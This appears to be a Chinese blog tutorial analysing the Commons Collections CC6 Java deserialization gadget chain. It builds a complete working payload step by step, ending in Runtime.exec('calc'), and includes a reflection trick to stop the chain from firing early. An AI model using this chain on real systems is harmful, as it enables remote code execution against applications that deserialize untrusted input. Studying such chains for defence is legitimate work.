2024-09-23 01:41阅读: 102评论: 0推荐: 0

Java反序列化利用链篇 | CC6链分析(通用版CC链)

CC6

CC6和CC1之间的区别

在CC1的LazyMap链中,调用链如下:

AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

而在CC1链中,对CommonsCollections和jdk版本是有限制的。

而CC6链不受版本影响,更具通用性。

其调用链为:

HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

其和CC1的不同点在于,入口类不同,通过

HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()

调用了LazyMapget()方法。

CC6的调用链

  • HashMap.readObject()方法调用了HashMap.hash()方法:

  • HashMap.hash()方法调用了key.hashCode()方法,如果要使调用的是TiedMapEntry.hashCode()方法,需要使key参数为TiedMapEntry对象:

  • TiedMapEntry.hashCode()方法调用了TiedMapEntry.getValue()方法:

  • TiedMapEntry.getValue()方法调用了map.get()方法,如果要使被调用的是LazyMap.get()方法,需要使map属性为LazyMap对象:

构造CC6的payload

CC6和CC1-2的调用链后半段一致

// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);

完成TiedMapEntry.getValue()

TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象

TiedMapEntry的构造方法为public,所以可以直接实例化

代码如下:

这里有一个点需要注意(小坑):TiedMapEntry()构造方法的第二个参数用不到,所以随意传入进行,但是重要的是它接受一个Object对象,而这个对象的类需要实现Serializable接口,如果不是,则后续的序列化不能成功。
所以,这里不能传入new Object(),但可以传入new String(),因为Object类没有实现Serializable接口。

// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());

其中的getValue()也为public修饰,所以可以直接调用用来测试

tiedMapEntry.getValue();

运行,成功执行恶意代码:

完成TiedMapEntry.hashCode()

接下来,看谁调用了tiedMapEntry的getValue(),前面已经说过,TiedMapEntryhashCode()方法中有调用,因此:

tiedMapEntry.hashCode();

这里直接测试,此时代码如下(只是将getValue方法替换成了hashCode方法):

完成HashMap.hash()HashMap.readObject()

接下来就是HashMap中的hash()方法调用hashCode()方法,其中传入的key需要是tiedMapEntry

hash()方法没有被public修饰,不能直接调用,因此需要利用readObject()方法,因为在readObject()方法中存在hash()方法的调用。

readObject()方法在反序列化的时候会被调用,因此我们只需要创建一个HashMap对象,然后序列化即可。注意key需要保证是tiedMapEntry

代码如下:

HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,null); // 将tiedMapEntry当做key存入hashMap

此时的payload的代码如下:

// CC6和CC1-2的调用链后半段一致
// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
// tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue()
// tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,null); // 将tiedMapEntry当做key存入hashMap
SerAndUnser.serialize(hashMap);
// SerAndUnser.unserialize("ser.bin");

看似完美,但是运行会发现,即使不进行序列,也会弹计算器?

这是为什么呢?

如果我们进入hashMap的put()方法会发现,put()方法中已经触发了hash()方法,

接下来,解决一下这个问题

解决hash()方法提前触发的问题

这里其实跟URLDNS链中的情况差不多~

我们的解决思路是:

  • 1)tiedMapEntry对象在put方式放入hashMap对象时,使tiedMapEntry对象中的内容不完整,进而不让最终的代码触发。
  • 2)put完成之后,通过反射再将tiedMapEntry对象中的内容修改完整。

那如何让tiedMapEntry对象中的内容不完整呢?这里需要看一下tiedMapEntry对象中有什么:

可以看到tiedMapEntry对象中有lazyMap、chainedTransformer、transformerArray。

其中tiedMapEntry对象的map属性存放的就是lazyMap,我们将map属性设置为空的map对象(除上面创建的lazyMap都行),则最终就不会触发到恶意代码 (当然其他的也行:只要保证整个链子到不了恶意代码就行)。

第1步先获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)

Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);

第2步将map属性设置为一个空的map对象(除上面创建的lazyMap都行)

mapField.set(tiedMapEntry,new HashMap());

第3步,完成put操作后,再将其设置为lazyMap对象

mapField.set(tiedMapEntry,lazyMap);

因此最终的payload为:

// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
// tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue()
// tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
// 6. 解决hash提前触发问题
// 1)获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
// 2)将map属性设置为一个空的map对象(除上面创建的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
// 3)执行之前的put操作,此时tiedMapEntry对象是不完整的
hashMap.put(tiedMapEntry,"aaa"); // 将tiedMapEntry当做key存入hashMap
// 4)完成put操作后,再将其设置为lazyMap对象
mapField.set(tiedMapEntry,lazyMap);
SerAndUnser.serialize(hashMap);
SerAndUnser.unserialize("ser.bin");

posted @   leyilea  阅读(102)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~
💬
评论
📌
收藏
💗
关注
👍
推荐
🌜
深色
🚀
回顶
收起
🔑
点击右上角即可分享
微信分享提示
  1. 1 忽冷忽热 沈以诚
忽冷忽热 - 沈以诚
00:00 / 00:00
An audio error has occurred.

作曲 : Reol

作词 : Reol

fade away...do over again...

fade away...do over again...

歌い始めの一文字目 いつも迷ってる

歌い始めの一文字目 いつも迷ってる

どうせとりとめのないことだけど

伝わらなきゃもっと意味がない

どうしたってこんなに複雑なのに

どうしたってこんなに複雑なのに

噛み砕いてやらなきゃ伝わらない

ほら結局歌詞なんかどうだっていい

僕の音楽なんかこの世になくたっていいんだよ

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

僕は気にしない 君は気付かない

何処にももういないいない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

忘れていく 忘れられていく

We don't know,We don't know.

目の前 広がる現実世界がまた歪んだ

目の前 広がる現実世界がまた歪んだ

何度リセットしても

僕は僕以外の誰かには生まれ変われない

「そんなの知ってるよ」

気になるあの子の噂話も

シニカル標的は次の速報

麻痺しちゃってるこっからエスケープ

麻痺しちゃってるこっからエスケープ

遠く遠くまで行けるよ

安定なんてない 不安定な世界

安定なんてない 不安定な世界

安定なんてない きっと明日には忘れるよ

fade away...do over again...

fade away...do over again...

そうだ世界はどこかがいつも嘘くさい

そうだ世界はどこかがいつも嘘くさい

綺麗事だけじゃ大事な人たちすら守れない

くだらない 僕らみんなどこか狂ってるみたい

本当のことなんか全部神様も知らない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

僕は気にしない 君は気付かない

何処にももういないいない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

忘れていく 忘れられていく

We don't know,We don't know.